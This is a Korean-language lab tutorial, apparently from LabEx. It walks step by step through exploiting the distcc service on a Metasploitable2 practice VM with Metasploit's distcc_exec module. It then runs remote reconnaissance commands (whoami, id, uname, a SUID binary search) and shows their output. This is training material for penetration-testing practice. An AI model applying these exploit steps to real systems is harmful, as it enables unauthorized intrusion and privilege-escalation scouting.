소개
본 실습에서는 Metasploit을 사용하여 취약한 Linux 타겟의 distcc 서비스를 공격하고, 획득한 원격 실행 컨텍스트를 확인하며, 타겟으로부터 기본적인 시스템 정보를 수집합니다. 이 과정에서는 대화형 셸 세션을 여는 대신 Metasploit 모듈 프롬프트에서 한 번에 하나의 원격 명령을 실행하는 방식을 사용합니다.
타겟의 distcc 모듈은 cmd/unix/generic을 통한 원격 명령 실행에 효과적이지만, 이 환경에서는 지속적인 셸을 열지는 않습니다. 이번 실습의 주요 학습 목표는 이러한 동작 방식을 이해하고, 각 명령이 어떤 원격 계정으로 실행되는지 확인하며, 의도적인 후속 명령을 통해 타겟을 계속해서 열거하는 것입니다.
환경 준비
이 단계에서는 Kali Linux 컨테이너와 Metasploitable2 가상 머신을 포함하여 실습 환경에 필요한 구성 요소를 시작합니다.
- 터미널에서 다음 명령을 실행하여 Metasploitable2 가상 머신을 시작합니다:
sudo virsh start Metasploitable2
타겟 머신이 시작될 때까지 1~3분 정도 기다립니다.
- 타겟 IP 주소로 핑(ping)을 보내 가상 머신이 시작되었는지 확인합니다:
ping 192.168.122.102
Ctrl+C를 눌러 핑을 중지합니다.
- Kali Linux 컨테이너를 시작하고 bash 셸로 진입합니다:
docker run -ti --network host b5b709a49cd5 bash
- Kali 컨테이너 내에서
target호스트 이름으로 핑을 보내 네트워크 연결을 테스트합니다:
ping 192.168.122.102
Ctrl+C를 눌러 핑을 중지합니다.
타겟 머신에 대한 초기 액세스 획득
이 단계에서는 Kali 컨테이너 내의 Metasploit Framework(MSF)를 사용하여 Metasploitable2 타겟 머신에 대한 초기 액세스를 획득합니다.
- Kali 컨테이너 내에서 Metasploit 콘솔을 시작합니다:
cd ~
msfconsole
- Metasploit 콘솔 내에서
distcc_exec익스플로잇 모듈을 사용합니다:
use exploit/unix/misc/distcc_exec
- 페이로드를 일반 원격 명령 실행으로 설정합니다. 이 환경에서는 모듈이 안정적인 대화형 셸을 열지 않으므로, 한 번에 하나의 원격 명령을 실행해야 합니다:
set payload cmd/unix/generic
- 타겟 호스트 IP 주소를 설정합니다:
set RHOST 192.168.122.102
- 타겟에서 실행할 첫 번째 원격 명령을 설정합니다:
set CMD whoami
- 익스플로잇을 실행하여 타겟 머신에서 해당 명령을 수행합니다:
run
성공적으로 실행되면 192.168.122.102:3632 - stdout: daemon과 유사한 출력이 표시됩니다. 이 결과는 해당 명령이 원격 Metasploitable2 호스트에서 daemon 사용자로 실행되었음을 의미합니다.
다음 단계를 위해 msf6 exploit(unix/misc/distcc_exec) > 프롬프트 상태를 유지하십시오. 새로운 원격 명령을 실행할 때마다 CMD를 업데이트하고 모듈을 다시 실행하면 됩니다.
현재 사용자 권한 확인
원격 명령 실행 권한을 획득한 후에는 타겟이 명령 실행에 어떤 계정을 사용했는지, 그리고 이미 높은 권한을 가지고 있는지 확인해야 합니다.
distcc_exec모듈 프롬프트를 벗어났다면, 2단계의 Metasploit 설정을 반복하여msf6 exploit(unix/misc/distcc_exec) >상태로 돌아옵니다.현재 사용자를 확인하기 위해 원격 명령을 설정합니다:
set CMD whoami
- 모듈을 실행하여 타겟에서 해당 명령을 수행합니다:
run
- 사용자 ID 및 그룹 정보를 표시하기 위해 다음 원격 명령을 설정합니다:
set CMD id
- 모듈을 다시 실행합니다:
run
출력 결과가 stdout: daemon 및 uid=1(daemon) gid=1(daemon)으로 표시된다면, 익스플로잇이 root가 아닌 daemon 계정으로 원격 명령을 실행하고 있는 것입니다. 더 나아가려면 추가적인 권한 상승 기법이 필요하지만, 이번 실습에서는 액세스 검증 및 정찰 데이터 수집에 집중하겠습니다.
다음 단계를 위해 동일한 Metasploit 모듈 프롬프트를 유지하십시오.
시스템 정보 열거
이제 액세스 수준을 확인했으므로, 타겟 시스템에서 몇 가지 세부 정보를 수집하여 어떤 호스트를 침해했는지 파악합니다.
distcc_exec모듈 프롬프트를 벗어났다면, 2단계의 Metasploit 설정을 반복하여msf6 exploit(unix/misc/distcc_exec) >상태로 돌아옵니다.Linux 배포판 배너를 확인하기 위해 원격 명령을 설정합니다:
set CMD "cat /etc/issue"
- 모듈을 실행합니다:
run
타겟으로부터 다음과 같은 출력을 확인할 수 있습니다:
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \\
| '_ ` _ \\ / _ \\ __/ _` / __| '_ \\| |/ _ \\| | __/ _` | '_ \\| |/ _ \\ __) |
| | | | | | __/ || (_| \\__ \\ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\\___|\\__\\__,_|___/ .__/|_|\\___/|_|\\__\\__,_|_.__/|_|\\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started
- 커널 버전을 확인하기 위해 다음 원격 명령을 설정합니다:
set CMD "uname -a"
- 모듈을 다시 실행합니다:
run
타겟으로부터 다음과 같은 출력을 확인할 수 있습니다:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
- 향후 사후 공격(post-exploitation) 분석에 유용할 수 있는 SUID 파일을 찾기 위해 원격 명령을 설정합니다:
set CMD "find / -perm -u=s -type f 2>/dev/null"
- 모듈을 한 번 더 실행합니다:
run
목록을 검토하여 타겟에 어떤 권한 있는 바이너리가 존재하는지 파악하십시오. 정확한 항목은 다를 수 있지만, 침해된 호스트에서 /usr/bin/sudo 및 /usr/bin/nmap과 같은 경로를 확인할 수 있어야 합니다.
출력 확인을 마친 후 exit를 입력하여 Metasploit을 종료할 수 있습니다.
요약
이번 실습에서는 LabEx 환경을 시작하고, Metasploit Framework를 사용하여 취약한 distcc 서비스를 공격했으며, cmd/unix/generic을 통해 Metasploitable2 타겟에 원격 명령을 실행했습니다. 이후 whoami와 id를 사용하여 원격 실행 컨텍스트를 검증함으로써, 후속 명령을 실행하기 전에 익스플로잇이 어떤 계정을 사용했는지 확인했습니다.
또한 배포판 배너, 커널 버전, 사용 가능한 SUID 바이너리를 확인하여 침해된 호스트로부터 기본적인 시스템 정보를 수집했습니다. 이러한 사후 공격 확인 작업은 획득한 액세스 권한을 확인하고 Linux 타겟에 대한 추가적인 열거를 계획하는 데 매우 유용합니다.



